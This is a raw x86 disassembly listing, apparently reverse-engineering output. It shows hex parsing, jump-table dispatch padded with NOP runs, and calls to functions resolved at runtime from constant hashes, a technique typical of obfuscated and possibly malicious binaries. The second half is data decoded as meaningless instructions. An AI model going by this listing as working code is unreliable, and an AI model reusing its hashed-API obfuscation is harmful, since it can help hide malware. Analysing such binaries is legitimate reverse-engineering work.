shl ebx, 4
add edi, 2
mov edx, ecx
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 5
ja case.default.0x424051
add edx, 0xffffffa9
or edx, ebx
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445220]
lea edx, [ecx - 0x30]
mov esi, ecx
not esi
and esi, 0x30
and ecx, 0xffffffcf
sub ecx, esi
cmp edx, 0xa
jb case.default.0x424088
mov ecx, 0xffffffff
or ecx, ebx
mov byte [eax], cl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445220]
mov dword [esp + 0x7c], ebp
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x1c]
call fcn.00426340
add esp, 0x10
mov dword [esp + 0x10], eax
xor edi, edi
mov ecx, dword [case.0x424088.57]
xor eax, eax
mov ebp, dword [esp]
cmp ebp, dword [esp + 4]
setne al
jmp dword [eax*4 + 0x445230]
mov edi, dword [ebp]
xor esi, esi
jmp dword [esi*4 + 0x445260]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x445230]
mov esi, dword [ebp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
mov ebx, esi
shr ebx, 0x1c
shl esi, 4
or esi, 1
xor ebx, edx
xor esi, dword [esp + 0x10]
xor eax, eax
or esi, ebx
sete al
jmp dword [eax*4 + 0x445258]
mov eax, 1
jmp dword [eax*4 + 0x445260]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x445268]
lea ebx, [esp + 0x14]
mov ebp, dword [esp + 0x7c]
jmp dword [0x445278]
push dword [esp + 0x78]
call fcn.00408950
add esp, 4
mov eax, dword [case.0x423f5f.0]
mov edx, dword [esp + 0x98]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
add edx, 4
mov eax, dword [case.0x423d56.35]
nop
nop
nop
nop
nop
nop
jmp eax
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x445210]
mov eax, dword [esp + 0x94]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
lea ebx, [esp + 0x14]
nop
nop
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x424217
mov dword [esp + 0x88], eax
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0x8c], edi
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
push 0x14e20a34
push dword [0x44a5a4]
call fcn.0043c470
add esp, 8
lea ecx, [esp + 0x80]
lea edx, [esp + 0x88]
push ecx
push 1
push 0
push 0
push edx
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445270]
jmp dword [0x445278]
movzx eax, byte [edi]
test al, al
je 0x42423c
inc edi
nop
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [edi]
inc edi
test al, al
jne 0x424230
mov word [ebp], 0x203a
mov eax, ebp
add eax, 2
mov esi, dword [esp + 0x80]
test esi, esi
je 0x42428b
mov ecx, dword [esp + 0x84]
mov edx, esi
and edx, 3
je 0x42428f
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x424270
add eax, edi
mov edx, esi
sub edx, edi
mov ebp, eax
jmp 0x424291
mov ebp, eax
jmp 0x4242d9
mov edx, esi
cmp esi, 4
jb 0x4242d9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], bl
mov eax, ebp
add edx, 0xfffffffc
jne 0x4242a0
mov byte [ebp], 0xa
inc ebp
push 0xbe5098bb
push dword [0x44a58c]
call fcn.0043c470
add esp, 8
push dword [esp + 0x84]
call eax
mov al, 1
mov dword [esp + 8], eax
lea ebx, [esp + 0x14]
jmp dword [0x445278]
cmp ecx, edi
je 0x424345
mov esi, ecx
jmp 0x424327
add esi, 8
cmp esi, edi
je 0x42433c
mov eax, dword [esi]
test eax, eax
je 0x424320
push eax
call fcn.00408950
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x424320
push ecx
call fcn.00408950
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
cmp eax, 0x3f180042
inc edx
add byte [ebp + 0x3d], bl
inc edx
add byte [eax + 0x3f], al
inc edx
add byte [edx + 0x41], dh
inc edx
add byte [esi + 0x3f], ah
inc edx
add byte [edi - 0x29ffbdc0], cl
inc eax
inc edx
add dh, dl
inc eax
inc edx
add dh, dl
aas
inc edx
add al, al
aas
inc edx
add byte [eax + eax*2], ch
inc edx
add byte [0xef004241], ch
inc eax
inc edx
add byte [eax], al
inc ecx
inc edx
add byte [eax], al
inc ecx
inc edx
add byte [eax], al
inc ecx
inc edx
add byte [edx], al
inc ecx
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], al
inc ecx
inc edx
add byte [ecx], ah
inc ecx
inc edx
add al, dl
inc eax
inc edx
add byte [0xdc004241], ch
inc eax
inc edx
add byte [ebx], bh
inc ecx
inc edx
add byte [edx + 0x1e004241], dl
inc edx
inc edx
add byte [edx + eax*2], ah
inc edx
add byte [ecx + 0x41], cl
inc edx
add byte [ebp + 0x41], dl
inc edx
add byte [eax + 0x41], dh
inc edx
add byte [eax + 0x41], dh
inc edx
add byte [eax + 0x41], dh
inc edx
add byte [edx + 0x41], dh
inc edx
add byte [eax - 0x7fffbdbf], al
inc ecx
inc edx
add byte [edx - 0x7fffbdbf], al
inc ecx
inc edx
add byte [eax + 0x3d], dh
inc edx
add byte [eax + 0x3d], dh
inc edx
add byte [eax + 0x3d], dh
inc edx
add byte [edx + 0x3d], dh
inc edx
add byte [eax - 0x7fffbdc3], al
cmp eax, 0x3d820042
inc edx
add byte [eax - 0x77ffbdc3], al
cmp eax, 0x3da40042
inc edx
add byte [ebp + edi + 0x3dba0042], ch
inc edx
add byte [ecx], ah
cmp eax, dword [edx]
fdivr dword [esi]
inc edx
add al, ch
inc edx
add byte [0xf000423b], bh
inc edx
add byte [edx], cl
inc ebx
inc edx
add byte [edx + 0x43], dl
inc edx
add byte [ebx + 0x43], bl
inc edx
add byte [edx], cl
inc ebx
inc edx
add byte [edx + 0x43], dl
inc edx
add byte [ebx], dl
push ecx
inc edx
add bh, al
push ebx
inc edx
add byte [ebx], dl
push ecx
inc edx
add ah, ch
push esi
inc edx
add bl, dh
push eax
inc edx
add byte [edi - 0x6ffbdbd], bh
push eax
inc edx
add byte [esi], al
push ecx
inc edx
add byte [esi + 0x4000424f], bl
dec esi
inc edx
add byte [eax + 0x4000424d], ah
dec esi
inc edx
add al, dl
inc edi
inc edx
add byte [ebp + ecx*2 + 0x10042], ch
add byte [eax], al
add dword [eax], eax
add byte [eax], al
lodsb al, byte [esi]
dec ebp
inc edx
add byte [ecx], al
add byte [eax], al
add al, dh
dec esp
inc edx
add bh, dl
dec ebp
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x57], cl
inc edx
add byte [edx], cl
dec esi
inc edx
add byte [edi + 0x4a], ch
inc edx
add byte [edx], cl
dec esi
inc edx
add ch, bh
inc edi
inc edx
add byte [edx], ah
inc ebp
inc edx
add byte [eax + 0x47], ah
inc edx
add byte [edi + 0x47], ch
inc edx
add byte [eax + 0x47], ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x57], cl
inc edx
add byte [eax - 0x3bffbdb6], ah
inc edi
inc edx
add bh, dl
dec ebx
inc edx
add ah, bl
dec edx
inc edx
add byte [edi], bh
dec edx
inc edx
add ah, bl
dec edx
inc edx
add byte [eax + 0x4a], cl
inc edx
add byte [ecx + 0x4a], dl
inc edx
add byte [edi - 0x6bffbdb6], dl
dec edx
inc edx
add byte [edx + ecx*2 + 0x4aa00042], dl
inc edx
add byte [esi], bl
dec edx
inc edx
add byte [ecx + 0x2400424a], ch
dec edx
inc edx
add byte [eax], dh
dec edx
inc edx
add byte [eax], dh
dec edx
inc edx
add byte [ecx + 0x1900424a], ch
dec esi
inc edx
add byte [edx], ch
dec esi
inc edx
add byte [eax], dh
dec esi
inc edx
add byte [eax], dh
dec esi
inc edx
add byte [eax], dh
dec esi
inc edx
add al, dh
dec esp
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x57], cl
inc edx
add byte [ecx], al
add byte [eax], al
add dh, ah
inc edi
inc edx
add al, dl
dec edx
inc edx
add byte [eax + 0x30004243], dl
inc ebp
inc edx
add al, dl
inc esp
inc edx
add al, dl
inc esp
inc edx
add al, dl
inc esp
inc edx
add dl, dl
inc esp
inc edx
add dh, bl
inc esp
inc edx
add bh, bh
inc esp
inc edx
add ah, ah
inc esp
inc edx
add al, dh
inc esp
inc edx
add al, dh
inc esp
inc edx
add bh, bh
inc esp
inc edx
add byte [0x90004245], al
inc ebx
inc edx
add byte [eax], ah
inc ebp
inc edx
add byte [eax], ah
inc ebp
inc edx
add byte [eax + 0x20004243], dl
inc ebp
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], al
push ecx
inc edx
add byte [esi - 0x2bffbda8], dh
pop eax
inc edx
add byte [edi - 0x2ffbda2], ah
pop eax
inc edx
add byte [esi + ebx*2], dh
inc edx
add byte [ecx + 0x5e], dl
inc edx
add byte [esi + ebx*2], dh
inc edx
add byte [ecx + 0x5e], bh
inc edx
add byte [ecx + 0x1100425e], dl
pop edi
inc edx
add al, dh
pop ecx
inc edx
add byte [ecx + 0x100425e], dl
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], dl
pop edx
inc edx
add byte [ecx], al
add byte [eax], al
add byte [0x1000425a], ah
pop ecx
inc edx
add byte [0x1000425a], dh
pop ecx
inc edx
add byte [ebp + 0x5a], al
inc edx
add byte [eax], dl
pop ecx
inc edx
add byte [ebp + 0x5a], dl
inc edx
add byte [eax], dl
pop ecx
inc edx
add byte [ebp + 0x5a], ah
inc edx
add byte [eax], dl
pop ecx
inc edx
add byte [edx + ebx*2 + 0x5ac80042], bh
inc edx
add byte [eax - 0x6ffbda3], bl
pop edx
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x5f], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x2200425d], al
pop ebx
inc edx
add byte [0x4c00425b], ch
pop ebx
inc edx
add byte [ebx + ebx*2 + 0x42], cl
add byte [ebx + 0x5b], ch
inc edx
add byte [ecx + 0x5b], bh
inc edx
add byte [eax - 0x7fffbda5], al
pop ebx
inc edx
add byte [eax - 0x79ffbda5], al
pop ebx
inc edx
add byte [eax + 0x7000425b], al
pop ebp
inc edx
add byte [eax - 0x7fffbda3], al
pop ebp
inc edx
add byte [eax - 0x7fffbda3], al
pop ebp
inc edx
add byte [esi - 0x73ffbda3], al
pop ebp
inc edx
add byte [eax + 0x400425d], bl
pop esi
inc edx
add byte [eax], dl
pop ecx
inc edx
add byte [ebx - 0x58ffbda2], bl
pop esi
inc edx
add byte [esi - 0x38ffbda8], bh
pop eax
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi], al
push ds
sahf
add byte [edx], al
push ds
sahf
add byte [eax], ch
sahf
add cl, cl
and dword [esi - 0x61bb0d00], ebx
add bl, dh
inc esp
sahf
add byte [edx + 0x22], cl
sahf
add ah, ch
and dword [esi - 0x61dd4d00], ebx
add cl, al
and dword [esi - 0x61db8900], ebx
add byte [ebp + 0x24], dh
sahf
add byte [edi], ah
and byte [esi - 0x61da0500], bl
add byte [esi - 0x62], bh
add ch, ch
sahf
add byte [edi - 0x12ff61db], bl
sahf
add byte [ebx + 0x7e009e29], al
sub dword [esi - 0x61cf0400], ebx
add ah, bh
xor byte [esi - 0x61ceb400], bl
add byte [ecx + esi - 0x62], cl
add byte [edx + 0x2c009e31], bl
xor bl, byte [esi - 0x61ce3e00]
add byte [ecx - 0x12ff61ce], bl
xor dword [esi - 0x61cd0900], ebx
add byte [ecx + esi], bl
sahf
add byte [ebx + esi - 0x62], cl
add byte [ebx + esi - 0x62], cl
add byte [ebx + esi - 0x62], ch
add byte [ecx - 0x65ff61cd], al
xor ebx, dword [esi - 0x61cfa000]
add byte [edx - 0xcff61cd], bl
inc esp
sahf
add byte [edi + esi - 0x62], ch
add byte [edi - 0x78ff61c9], al
aaa
sahf
add byte [edi + esi + 0x37c9009e], ch
sahf
add byte [edi + 0x39], ah
sahf
add byte [edi + 0x39], ah
sahf
add byte [edi + 0x39], ah
sahf
add byte [esi + 0x39], bl
sahf
add byte [eax + 0xf009e39], bh
cmp bl, byte [esi - 0x61c5c000]
add byte [ebp - 0x31ff61c6], bl
cmp bl, byte [esi - 0x61c54400]
add byte [ebx + edi + 0x3a7f009e], bl
sahf
add byte [ebx + edi + 0x39ee009e], bl
sahf
add byte [ebx + edi + 0x3ef1009e], bl
sahf
add bl, al
inc ecx
sahf
add byte [eax - 0x77ff61bc], cl
inc esp
sahf
add byte [esi], al
aas
sahf
add byte [edi], cl
aas
sahf
add byte [eax], dl
sahf
add ah, bh
xor byte [esi - 0x61ccb400], bl
add byte [edi], dl
aas
sahf
add byte [edi + ebp*4 - 0x3f], ah
add byte [eax - 0x4b], bh
rol dword [eax], 0x7b
mov ebp, 0xac4500c1
rol dword [eax], 0x2c
rol ecx, 0
stosb byte es:[edi], al
rol dword [eax], 0xae
mov ebx, 0xb68800c1
rol dword [eax], 0xd7
mov dword [0xac1700c1], eax
rol dword [eax], 0xfe
rol cl, 0
adc al, 0xb6
rol dword [eax], 0x7d
cmpsb byte [esi], byte es:[edi]
rol dword [eax], 0x4f
movsb byte es:[edi], byte [esi]
rol dword [eax], 0x52
cmpsb byte [esi], byte es:[edi]
rol dword [eax], 0x96
ret 0xc1